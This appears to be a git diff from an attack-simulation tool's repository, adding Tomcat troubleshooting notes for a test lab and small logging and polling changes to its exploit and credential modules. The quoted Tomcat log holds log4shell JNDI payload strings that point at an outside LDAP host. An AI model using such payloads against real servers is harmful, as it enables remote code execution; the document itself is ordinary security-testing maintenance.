diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md
index 617106c4d..077ccfc59 100644
--- a/envs/monkey_zoo/docs/fullDocs.md
+++ b/envs/monkey_zoo/docs/fullDocs.md
@@ -915,7 +915,40 @@ Accessiable only through 3-45 Powershell using credentials reus
Notes: |
- |
+The jvm's `java.security.egd` variable should be set to `/dev/urandom`,
+otherwise the tomcat service can take a very long time to start. Set this by
+editing `/usr/tomcat/bin/catalina.sh` and modifying the `JAVA_OPTS` vairable.
+See https://jfrog.com/knowledge-base/tomcat-takes-forever-to-start-what-can-i-do/
+for more details.
+
+Tomcat sessions that carry over through a reset can cause significant delays
+when the tomcat server starts. When the server starts, it attempts to download
+the log4shell payload, but the server is no longer listening. This operation
+appears to have a 2 minute timeout. You can see it by viewing
+`/usr/tomcat/logs/localhost.log`:
+
+```
+2022-04-28 16:15:45,541 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- Sending application start events
+2022-04-28 16:15:45,542 [localhost-startStop-1] INFO org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- ContextListener: contextInitialized()
+2022-04-28 16:15:45,542 [localhost-startStop-1] INFO org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- SessionListener: contextInitialized()
+2022-04-28 16:15:45,665 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- readObject() loading session E5B004FF35E1CBB44FA8A69AB024941D
+2022-04-28 16:15:45,665 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- loading attribute 'foo' with value '${jndi:ldap://10.2.2.121:29573/dn=Exploit}'
+2022-04-28 16:17:56,412 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- readObject() loading session 0677AD75F804B1FD4E24AF7F3BFA9DD9
+2022-04-28 16:17:56,412 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- loading attribute 'foo' with value '${jndi:ldap://10.2.2.121:39466/dn=Exploit}'
+2022-04-28 16:20:07,472 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- Starting filters
+2022-04-28 16:20:07,472 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- Starting filter 'Set Character Encoding'
+2022-04-28 16:20:07,477 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- Starting filter 'Compression Filter'
+```
+
+Notice the 2-minute gap between the timestamps after "loading attribute 'foo'".
+
+To resolve this, modify /usr/tomcat/conf/context.xml and uncomment the following
+setting:
+
+```
+
+```
+ |
diff --git a/monkey/infection_monkey/credential_store/aggregating_credentials_store.py b/monkey/infection_monkey/credential_store/aggregating_credentials_store.py
index 27ead7d26..47f097dad 100644
--- a/monkey/infection_monkey/credential_store/aggregating_credentials_store.py
+++ b/monkey/infection_monkey/credential_store/aggregating_credentials_store.py
@@ -11,7 +11,7 @@ from .i_credentials_store import ICredentialsStore
logger = logging.getLogger(__name__)
-CREDENTIALS_POLL_PERIOD_SEC = 30
+CREDENTIALS_POLL_PERIOD_SEC = 10
class AggregatingCredentialsStore(ICredentialsStore):
diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index f6b44471a..c765c2de5 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -242,7 +242,8 @@ class MSSQLExploiter(HostExploiter):
self.report_login_attempt(True, user, password)
cursor = conn.cursor()
return cursor
- except pymssql.OperationalError:
+ except pymssql.OperationalError as err:
+ logger.info(f"Connection to MSSQL failed: {err}")
self.report_login_attempt(False, user, password)
# Combo didn't work, hopping to the next one
pass
diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index 8d01b3b9d..e31c62cad 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -116,7 +116,8 @@ class InfectionMonkey:
logger.info("Another instance of the monkey is already running")
return
- logger.info("Monkey is starting...")
+ logger.info("Agent is starting...")
+ logger.info(f"Agent GUID: {GUID}")
self._add_default_server_to_config(self._opts.server)
self._connect_to_island()